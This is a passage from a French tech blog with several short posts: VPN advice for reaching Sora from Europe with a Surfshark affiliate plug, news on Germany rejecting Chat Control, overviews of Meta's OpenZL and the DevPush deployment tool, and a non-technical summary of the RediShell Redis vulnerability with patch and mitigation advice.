2. Connectez-vous à un serveur US ou canadien (choisissez-en un avec une faible latence)
3. Créez un compte Apple américain comme expliqué plus haut
4. Installez l’app Sora via l’App Store US
5. Normalement, vous passerez le geo-blocking sans problème

Avec Surfshark, vous bénéficiez non seulement d’un accès fiable à Sora 2, mais aussi d’une protection complète pour toute votre navigation. À environ 3 € par mois pour une sécurité sur un nombre illimité d’appareils, c’est clairement l’une des meilleures options du marché.

Ou sinon, vous attendez sagement qu’OpenAI déploie officiellement son service en Europe mais faudra être encore un peu patient.

Essayer Surfshark VPN maintenant

Enfin une bonne nouvelle les amis ! Le parti CDU/CSU, actuellement au pouvoir en Allemagne, vient de déclarer clairement qu’il n’y aura pas de Chat Control avec ce gouvernement. L’annonce a été faite hier et c’est une victoire majeure pour la vie privée en Europe !

Pour ceux qui n’ont pas suivi, je vous avais parlé de Chat Control , une proposition de règlement européen qui obligerait WhatsApp, Signal, Telegram et tous les autres à scanner automatiquement tous vos messages, même chiffrés, pour y chercher du contenu illégal. En gros, on casse le chiffrement de bout en bout pour surveiller tout le monde “au cas où”. C’est de la surveillance de masse déguisée en protection de l’enfance, et d’ailleurs tous les experts en sécurité vous le diront : on ne peut pas casser le chiffrement “juste un peu” ou “pour une bonne cause”. Soit c’est chiffré, soit ça l’est pas.

Bref, la déclaration de la CDU/CSU est limpide : Il n’y aura pas de surveillance généralisée des messages sans motif, comme certains pays de l’UE le réclament. Patrick Hansen, qui suit de près ces questions de réglementation crypto et tech en Europe, a tweeté que c’était une grande victoire pour la vie privée dans l’UE et il a raison, le bougre !

Alors pourquoi c’est important cette décision de l’Allemagne ? Hé bien parce qu’elle pèse lourd dans les décisions européennes la Bertha ! Pour qu’une proposition comme Chat Control passe, il faut le soutien d’États membres représentant au moins 65% de la population de l’UE. Et sans l’Allemagne, c’est mathématiquement compliqué. Du coup, ça tombe bien puisque le vote au Conseil était prévu pour le 14 octobre 2025.

Faut pas oublier que la position allemande avait vacillé en septembre. En effet, après une réunion du groupe de travail LEWP, l’Allemagne était revenue à une position “indécise”, ce qui avait fait flipper tout le monde et sans le refus ferme de Berlin, l’opposition ne pouvait plus garantir une minorité de blocage.

Bref, on était pas loin de la catastrophe !!

Mais là, c’est bon, on est sauvé puisque la CDU/CSU remet les points sur les i. Pas de Chat Control. Le dossier est clos (pour le moment…). C’est chouette parce que franchement, dans le cas contraire, j’aurais pas compris car l’Allemagne a quand même une histoire particulière avec la surveillance de masse. Entre les nazis et la Stasi d’Allemagne de l’Est, ils savent mieux que personne ce que ça donne quand l’État surveille tout le monde. J’imagine que cette mémoire historique a compté dans leur position vis à vie de ChatControl.

En tout cas, c’est le bon moment pour dire merci. Merci à tous ceux qui se sont mobilisés contre ce projet délirant ces derniers mois. Les associations comme l’Electronic Frontier Foundation, le Chaos Computer Club, European Digital Rights, tous les devs qui ont gueulé, tous les citoyens qui ont écrit à leurs députés, tous ceux qui ont relayé l’info…etc. Car sans cette pression, on aurait probablement déjà Chat Control en place. Une preuve de plus que la mobilisation, ça marche !

Après, en tant qu’ancêtre d’Internet, croyez en ma grande expérience, ce genre de loi merdique n’est jamais vraiment mort. Ça reviendra sous une autre forme, avec un autre nom, un autre prétexte. C’est l’histoire même de la surveillance… ils réessayent encore et encore jusqu’à ce que ça passe, en espérant qu’on sera trop fatigués ou trop distraits pour résister. Mais bon, ce sera pas pour cette fois encore…

Signal avait même menacé de quitter le marché européen plutôt que de compromettre le chiffrement de son service. Proton, Tuta et d’autres avaient de leu côté fait des déclarations similaires.

Donc voilà. Pour une fois, une bonne nouvelle sur la vie privée en Europe, alors en attendant la prochaine saloperie politique, on savoure cette victoire, et on continue à se battre !

Vous compressez vos fichiers Parquet avec gzip ? Ça marche, c’est trop cooool ! Vos CSV sont en Snappy ? Nickel c’est le bonheur !! Vos time-series sont dans un format custom que personne ne comprend sauf le dev qui est parti y’a deux ans sans laisser d’adresse ? Ah, merde…

Du coup, combien ça vous coûte vraiment ces histoires de compression ? Non, je ne parle pas en octets économisés, mais plutôt en temps humain perdu. Parce que Meta vient de publier un truc super cool qui s’appelle OpenZL et qui est un framework open source qui révèle une vérité qu’on préfère ignorer : Zuck est un reptilien euh, non… utiliser des compresseurs génériques pour tout, c’est pratique mais c’est une facture cachée qui explose !

Hé oui car les compresseurs universels comme gzip ou zstd sont géniaux, ils fonctionnent partout mais le problème c’est qu’ils ne comprennent rien à vos données. Pour eux, un CSV c’est pareil qu’un JPEG ou qu’un binaire random, du coup, vous obtenez une compression “correcte” mais rarement optimale.

Et vous vous retrouvez alors dans le cycle classique suivant : Un nouveau dataset structuré, vous tentez gzip, c’est bof. Vous essayez alors un compresseur spécialisé, mais faut l’intégrer au pipeline et franchement, la flemme. Et ça, ça vous prend combien de temps en vrai ?

Oui, je sais, vous n’en avez aucune idée mais chez Meta, ils ont évalué ça en mois de développement pour chaque nouveau type de données. Oui, des mois, pas des jours. Et après faut maintenir tout ça, gérer les versions, les dépendances, les cas particuliers…. bref.

Meta a donc fait le calcul et le partage ouvertement . Ils avaient des centaines de cas d’usage différents pour la compression de données structurées avec des fichiers Parquet, des CSV, des time-series, des tensors de machine learning, des tables de bases de données…etc et à chaque fois, soit vous prenez gzip et vous laissez de l’espace disque et de la bande passante sur la table, soit vous développez un compresseur custom et vous perdez des semaines de dev.

La solution classique consistait donc à multiplier bêtement les compresseurs spécialisés. Un pour Parquet avec Snappy, un autre pour les CSV, encore un autre pour les données numériques colonnes…etc et là ça devient vite le bordel car chaque compresseur a son décodeur, sa config, ses quirks. Vous vous retrouvez alors avec une infrastructure de compression qui ressemble à un mille-feuille de dépendances mais sans le bonheur d’une crème pâtissière de qualité.

C’est là qu’OpenZL débarque avec une approche totalement différente puisqu’au lieu de créer encore un énième compresseur spécialisé, ils ont fait un framework qui comprend la structure de vos données et génère automatiquement la meilleure stratégie de compression.

Donc en gros, vous donnez à OpenZL une description de la structure de vos données via leur Simple Data Description Language (SDDL). Ensuite leur “trainer” analyse des échantillons et trouve la séquence optimale de transformations. Ces transformations révèlent alors des patterns cachés dans vos données structurées, ce qui permet ensuite une compression beaucoup plus efficace qu’un compresseur générique aveugle.

Faut voir OpenZL comme un genre de compilateur en fait. Vous lui donnez une description haut niveau de vos données, et il génère un “plan de compression” optimisé pour ce type précis de données. Un peu comme un compilateur transforme du code haut niveau en binaire optimisé.

Et le plus beau c’est que tous les fichiers compressés par OpenZL, même avec des configs complètement différentes, se décompressent avec le même binaire. Comme ça c’est fini le casse-tête des multiples décodeurs à maintenir. Là vous avez un seul exécutable à déployer partout. Bref, c’est surtout ça la promesse de Meta avec OpenZL.

Cet outil est en prod chez eux et visiblement, comme ils le racontent sur X , il a réduit les temps de développement de mois à jours, pour des gains de compression et de vitesse systématiquement supérieurs aux compresseurs génériques. Sur des datasets Parquet par exemple, ils obtiennent des ratios de compression meilleurs que gzip tout en étant plus rapides à compresser et décompresser.

Pour vous donner un ordre de grandeur, Parquet avec gzip c’est déjà 2.37 fois plus compact qu’un CSV classique. OpenZL lui, va encore plus loin en exploitant les régularités intrinsèques des données colonnes tels que des types énumérés, des contraintes de range, des patterns temporels dans les time-series et c’est ça qui fait la différence entre un compresseur qui voit des bytes et un qui comprend la structure.

Meta considère le core d’OpenZL comme production-ready et l’utilisent en interne à large échelle depuis un petit moment. Maintenant si ça vous intéresse pour vos propres projets, sachez que le framework est sous licence BSD et dispo sur GitHub et vous avez un Quick Start guide , de la doc complète , et même un papier académique sur arXiv si vous voulez plonger dans les détails techniques du modèle graph-based qu’ils utilisent.

Voilà, si vous bossez avec des volumes importants de données structurées, si vous en avez marre de bidouiller des configs de compression, ou si vous voulez juste arrêter de payer la facture cachée des compresseurs universels, allez voir OpenZL sur GitHub .

Source

Vous connaissez Vercel ? Cette plateforme de déploiement qui permet de mettre en ligne une app web en deux clics. Hé bien c’est super génial… mais ça ne marche qu’avec JavaScript. Du coup, si vous faites du Python, du PHP ou autre, vous êtes un peu coincé. Snif…

C’est un peu le problème que Ronan Berder, un dev de Singapour, s’est pris en pleine poire au moment où il a voulu déployer ses apps Python aussi facilement que du Next.js sur Vercel. Comme y’avait pas grand chose qui existait, il a donc créé DevPush, une alternative open source et auto-hébergeable qui fonctionne avec tous les langages de dev.

Vous connectez votre repo GitHub, vous pushez votre code, et boom, votre app est déployée, tout ça sans coupure de service, avec possibilité de retour en arrière instantané, des logs en temps réel, des environnements multiples, du SSL automatique…etc… Bref, tout ce que vous avez sur Vercel, mais sans être limité à Node.js.

DevPush supporte donc déjà Python avec Flask, Django et FastAPI et comme c’est basé sur Docker, n’importe quel langage peut tourner dessus. Node.js, PHP, Ruby, Go, Rust… ce que vous voulez. Y’a juste à créer un conteneur Docker et c’est parti.

Comme vous le savez, Redis c’est un peu le champion du cache mémoire. C’est rapide, c’est efficace, tout le monde l’utilise mais surtout, ça tourne dans 75% des environnements cloud. En gros, 3 serveurs sur 4 dans le cloud l’utilise…

Cool ? Oui sauf quand une faille critique de sécurité pointe le bout de son nez ! Et pas une petite faille, mes amis ! Une faille notée 10 sur 10 en gravité, qui permet d’exécuter du code à distance sur les serveurs.

Estampillée CVE-2025-49844, et joliment baptisée RediShell, cette faille en elle-même est assez technique puiqu’elle repose sur un bug Use-After-Free dans l’interpréteur Lua intégré à Redis. En gros, un attaquant authentifié peut envoyer un script Lua malveillant qui vient manipuler le garbage collector, provoque un accès mémoire après libération, et permet ainsi d’exécuter du code arbitraire sur le serveur.

C’est de la RCE complète salade tomates oignons, avec sauce système compromis !

Le truc, c’est que ce bug dormait dans le code depuis 13 ans dès que Redis a intégré Lua en 2012 dans la version 2.6.0. Donc pendant tout ce temps, des millions de serveurs Redis dans le monde entier avaient cette vulnérabilité activée par défaut.

Et les chiffres donnent le vertige car d’après les scans de Wiz Research, environ 330 000 instances Redis sont exposées directement sur Internet. Et sur ces 330 000, au moins 60 000 n’ont même pas d’authentification activée. Donc autant dire qu’elles sont ouvertes à tous les vents et que les serveurs qui se cachent derrière aussi…

Toute l’infrastructure cloud moderne repose sur une poignée de briques open source critiques, et ça marche tellement bien qu’on en met partout et on finit souvent par oublier à quel point c’est fragile… On l’a déjà vu par exemple avec Log4Shell qui a touché des millions de serveurs Java en 2021, puis avec Heartbleed dans OpenSSL en 2014. Et on a failli le voir avec la backdoor XZ Utils découverte in extremis en 2024.

À chaque fois, c’est le même schéma où un composant open source critique, utilisé partout, et maintenu par une équipe minuscule (souvent 1 à 5 personnes), se retrouve avec un bug qui expose des pans entiers de l’infrastructure mondiale d’Internet… Argh !

Maintenant, la bonne nouvelle , c’est que Redis a publié des patchs pour toutes les versions maintenues : 6.2.20, 7.2.11, 7.4.6, 8.0.4 et 8.2.2. Donc si vous utilisez Redis, c’est le moment de mettre à jour !! Et pendant que vous y êtes, activez aussi l’authentification avec la directive requirepass, et désactivez les commandes Lua si vous ne les utilisez pas. Vous pouvez faire ça via les ACL Redis ou simplement en révoquant les permissions de scripting.

La découverte de RediShell a été faite par Wiz Research lors du Pwn2Own de Berlin en mai 2025. Alerté, Redis a publié son bulletin de sécurité le 3 octobre dernier, et Wiz a rendu public les détails le 6 octobre. Une Timeline propre, une divulgation responsable, bref tout s’est bien passé de ce côté-là…

Maintenant pour réduire ce genre de risque à terme, je pense que ce serait cool si les géants d’Internet finançaient un peu plus directement les mainteneurs de ces briques logiciels essentielle, ainsi que des audits de l’ OpenSSF car pour le moment, on est loin du compte ! Redis est patché, heureusement, mais on sait aussi que la prochaine faille critique dans un de ces composants critiques, c’est une nouvelle fois, juste une question de temps…

Source